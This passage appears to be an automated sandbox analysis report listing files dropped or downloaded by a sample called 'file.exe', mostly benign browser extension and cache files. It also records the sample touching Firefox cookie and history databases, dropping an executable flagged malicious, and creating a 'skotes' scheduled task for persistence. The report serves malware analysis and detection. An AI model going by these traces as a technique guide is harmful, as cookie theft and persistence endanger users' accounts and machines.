SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir8944_1616840605\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function k(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsIEBFHCAKFB.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1848832
Entropy (8bit):	7.9482205887980575
Encrypted:	false
SSDEEP:	49152:03D8MC3nKP30n5RR74zlPK8suoRhhKUl0iLb:03xB30ntulPKyoXMUlX
MD5:	A218B8E66F929D65CEA126F98F026C66
SHA1:	CF2500D00B460084217583F5F63921E197744488
SHA-256:	2E0D3B67009872C61328C5904A23832E6B6617DE8BF756533B1804BB56719D05
SHA-512:	46E95B24D1F74F57A02E2ACA0745AF63622520FA804E10FD3A251F78CAB028013DA8E7982A9ED0318711A78E36E33EB9EA494E58D834BD18A336560A1C90A625
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PI...........@...........................I...........@.................................W...k.......D...................T7I..............................7I..................................................... . ............................@....rsrc...D...........................@....idata ............................@... .p).........................@...cwfrbimo. ... 0.....................@...auhgmisl.....@I.....................@....taggant.0...PI.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsIEBFHCAKFB.exe
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.3852112530091465
Encrypted:	false
SSDEEP:	6:TQ0WQroV1YnhXUEZ+lX1CGdKUe6tE9+AQy0lBX1:LXroLYRQ1CGAFD9+nVBX1
MD5:	E3258A336B38F437CB4BBEEB13EEF03A
SHA1:	FE87864E8FE8D6F8991EE69A34214E767D3FA686
SHA-256:	3678832F2F1F2342D233F980060D22527D05A71AB55CA4340AE60582D859EC1A
SHA-512:	1B3E286C8167436DBB788B138BF262698430FD1CDFED1A99F973E2D0D9B636C9026FB3EA485F5B2BDEF5D930BFD4687B05A6FED04A2CE64B476DEDFF5A1F67BD
Malicious:	false
Preview:	....M5X...`I.N....B.F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.e.n.g.i.n.e.e.r.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........E.N.G.I.N.E.E.R.-.P.C.\.e.n.g.i.n.e.e.r...................0.................;.............................

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (764)
Category:	downloaded
Size (bytes):	769
Entropy (8bit):	5.118731444035849
Encrypted:	false
SSDEEP:	24:dmGSBVpEbBHslgT9lCuABuoB7HHHHHHHYqmffffffo:QGSubKlgZ01BuSEqmffffffo
MD5:	C7CCAF4E4982CEA227DD9BC9B2011C93
SHA1:	C7D9572EB6C9155936219A14EE332E5565E17782
SHA-256:	BF21A32CFD369A47345C96AADC4646F31A0F13E37A6CC52086B979E9C28C7385
SHA-512:	B9E96CE3DE64069FCB686F22A7D562B5A9EF0F77CE8C92BA87DB7FA6585A3743B043616DCA65E879E8B191FB38B0E33F84010EACE6308808CCD1AA5B734DDF91
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["real debrid","pink concerts","aurora borealis forecast","test match cricket india vs australia","rockstar games gta 6","new jersey snowfall totals","norwegian cancelled cruises","cardano ada price prediction"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175021
Entropy (8bit):	5.5519862292821776
Encrypted:	false
SSDEEP:	3072:kEBR0Kx4gWiUIzT2Zu2AuhZNsWGUHUylZBTftnn2N2DIWHUm1CBT46mG3bXnejYR:kKR0oWiUIzy42AuXNsWGUHLlZBTftn2b
MD5:	6ECBEC06F6245882E6D9659E66022263
SHA1:	F86FC301A3851511557DF798AD2BAD2AA4659946
SHA-256:	F7885470D82B8357E5AD03205AC0885DD9FD6F965E550D746627E5E35D4CF66B
SHA-512:	F2EDD978C9DC289B82DC0956503659B92C3B621DD1001DB2C5C34ACA01FFCDE7F84A6B24ED0B30A1EA6B15D937B6DD93FAE1DB97DCE26E9F9FCE1A3F5C43A8DD
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US._3uvDuX1Bhg.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTus2ZfPv70D5bJuGT4XDgi-VtNqjg"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	132981
Entropy (8bit):	5.435414669950549
